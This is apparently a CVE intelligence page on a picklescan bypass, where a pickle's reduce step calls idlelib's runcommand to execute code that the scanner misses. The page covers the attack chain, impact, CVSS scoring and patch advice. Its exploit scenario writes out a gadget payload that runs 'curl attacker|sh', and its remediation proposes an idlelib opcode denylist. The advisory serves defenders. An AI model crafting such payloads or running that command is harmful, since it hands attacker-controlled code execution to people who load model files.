Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft pickle with idlelib.pyshell.ModifiedInterpreter.runcommand reduce
-
DeliveryPublish to model hub or supply-chain channel
-
ExploitVictim runs picklescan, scan returns clean
-
ExecutionVictim calls pickle.load on artifact
-
Persistruncommand executes embedded Python source
-
ImpactArbitrary code runs as loading user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the victim (a) uses picklescan < 0.0.30 as their trust gate for pickle/PyTorch artifacts and (b) subsequently calls pickle.load() / torch.load() on the attacker-supplied file - this is the UI:P passive-user step in the CVSS 4.0 vector. The malicious pickle must reference idlelib.pyshell.ModifiedInterpreter.runcommand via a __reduce__, which works on any CPython install where the standard-library idlelib package is importable (the default on full CPython distributions; some stripped container images omit idlelib and would not be exploitable). No authentication to the victim system is needed (PR:N) and no special picklescan configuration is required - the bypass works against picklescan's default ruleset. Limiting factors: the attack does not fire from merely scanning the file; it fires only when the file is actually unpickled, and environments that have already moved to safetensors or sandboxed loaders are unaffected. |
| Impact | The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N, score 7.6) accurately captures that exploitation is network-deliverable but gated by a passive-user requirement (UI:P) - the victim must choose to load the pickle - and an attack-template requirement (AT:P) reflecting that the bypass only matters when picklescan is in the trust path. Publicly available exploit code exists in the GHSA advisory, increasing weaponization speed. There is no CISA KEV listing and no EPSS figure is provided in the input, so wider exploitation prevalence is unknown. Real-world risk is concentrated in ML/MLOps pipelines and model marketplaces (HuggingFace mirrors, internal model registries) that treat a clean picklescan result as a green light - for those environments this is a high-impact supply-chain class issue, not a generic high-CVSS-low-impact case. Outside that population the risk is materially lower because pickle deserialization of untrusted blobs without picklescan was already considered unsafe. |
| Exploit ScenarioDerived | An attacker publishes a malicious PyTorch checkpoint to a public model hub or submits it through a CI pipeline; the file contains an object whose __reduce__ returns (idlelib.pyshell.ModifiedInterpreter.runcommand, (fake_self, "__import__('os').system('curl attacker|sh')")). A defender or downstream user runs picklescan against the file, sees no dangerous callables flagged, and then loads it with torch.load()/pickle.load(), at which point the runcommand gadget executes the embedded Python source under the loading user's identity. The published GHSA PoC demonstrates the full payload end-to-end. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Detection bypass in picklescan before 0.0.30 allows attackers to smuggle arbitrary code execution payloads through pickle files by abusing idlelib.pyshell.ModifiedInterpreter.runcommand inside a __reduce__ method, which the scanner fails to flag as dangerous. Any victim who relies on picklescan to vet PyTorch models or other pickle artifacts and then calls pickle.load() will execute attacker-supplied commands. Publicly available exploit code exists (PoC published in the GHSA advisory), no CISA KEV listing, and the issue is fixed in version 0.0.30.
RemediationAI
Vendor-released patch: upgrade picklescan to 0.0.30 or later (pip install -U picklescan>=0.0.30); the fix is commit 1931c2d04eaca8d20597705ff39cab78ba364e4b referenced from GHSA-j343-8v2j-ff7w (https://github.com/mmaitre314/picklescan/security/advisories/GHSA-j343-8v2j-ff7w). Until the upgrade is rolled out, treat picklescan output as advisory only and refuse to pickle.load() untrusted artifacts - prefer safer formats such as safetensors for model weights, which removes the deserialization sink entirely (trade-off: existing .pt/.bin/.pkl assets must be re-serialized). As an interim denylist supplement, block any pickle whose GLOBAL/STACK_GLOBAL opcodes reference the idlelib.* namespace, which has no legitimate use inside ML model files (trade-off: low false-positive risk, but does not address the next undiscovered gadget). For multi-tenant model registries, run loads inside a sandboxed, network-egress-restricted worker so an undetected gadget cannot reach attacker infrastructure (trade-off: added orchestration complexity).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python static scanner designed to enumerate the callables referenced by pickle opcodes and flag known-dangerous ones (os.system, subprocess.*, eval, exec, etc.) before a user calls pickle.load(). It maintains an allow/deny list of module.function names. CWE-502 (Deserialization of Untrusted Data) is the underlying class: pickle's __reduce__ protocol lets any object specify an arbitrary callable plus arguments to be invoked at load time. The bypass leverages idlelib.pyshell.ModifiedInterpreter.runcommand - a method shipped inside CPython's standard idlelib package - which ultimately executes a string of Python source. Because picklescan's denylist did not enumerate idlelib.pyshell.ModifiedInterpreter.runcommand, a __reduce__ returning (ModifiedInterpreter.runcommand, (fake_self, payload)) passed the scan while still executing __import__('os').system(...) on load. CPE coverage is limited to cpe:2.3:a:picklescan:picklescan:*:*:*:*:*:*:*:*.
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Malicious pickle is delivered over the network (AV:N), exploitation is reliable once crafted (AC:L), no auth to the victim (PR:N), but the victim must choose to load the file (UI:R); code execution yields high C/I, A:N since the payload is not inherently DoS.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.
Executive ViewAI
Picklescan, a widely-used security tool for validating PyTorch models and pickle files before loading, contains a detection bypass vulnerability (CVE-2025-71357) with publicly available exploit code that allows attackers to smuggle arbitrary code execution payloads past the scanner. Organizations relying on picklescan to vet model integrity face a false sense of security, potentially leading to remote code execution when malicious pickle files are deserialized. Any team using picklescan to validate third-party or untrusted models requires immediate patching to version 0.0.30.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
EUVD-2025-210293
GHSA-8mc5-7w9m-fqv6
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB